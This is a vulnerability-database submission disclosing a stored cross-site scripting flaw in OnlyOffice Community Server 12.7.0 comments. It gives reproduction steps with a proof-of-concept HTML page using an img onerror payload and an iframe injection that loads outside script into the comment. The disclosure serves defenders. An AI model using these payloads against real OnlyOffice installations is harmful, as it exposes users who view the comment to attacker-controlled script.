Submit #635871: Ascensio System SIA OnlyOffice Community Server 12.7.0 Cross Site Scriptinginfo

TitleAscensio System SIA OnlyOffice Community Server 12.7.0 Cross Site Scripting
DescriptionDescription In OnlyOffice, users can create projects and add comments. While HTML input is permitted, it also allows embedding iframe that can contain JavaScript, leading to an XSS vulnerability. The XSS doesn't directly affect OnlyOffice, instead JavaScript from any malicious site can be loaded to OnlyOffice through iframe tags. Credits: 0xHamy & Luke Smith Reproduce Create index.html with the following content: <!DOCTYPE html> <html> <head> <title>Malicious Page</title> </head> <body> <h1>Welcome to Evil Site</h1> <img/src=x onerror=alert('xss')> </body> </html> Serve index.html with python http server: python3 -m http.server Create a comment under a project of your choice on OnlyOffice: http://127.0.0.1:8088/Products/Projects/Messages.aspx?prjID=1&id=1#comments Edit source code of the comment and use the following payload: <iframe src="http://127.0.0.1:8000/index.html"></iframe> Reload or spread the page and the content will load.
Source⚠️ https://hkohi.ca/vulnerability/21
User
 0xHamy (UID 88518)
Submission08/16/2025 05:23 (8 months ago)
Moderation09/11/2025 07:42 (26 days later)
StatusAccepted
VulDB entry323615 [Ascensio System SIA OnlyOffice up to 12.7.0 Comment Messages.aspx cross site scripting]
Points20

Do you want to use VulDB in your project?

Use the official API to access entries easily!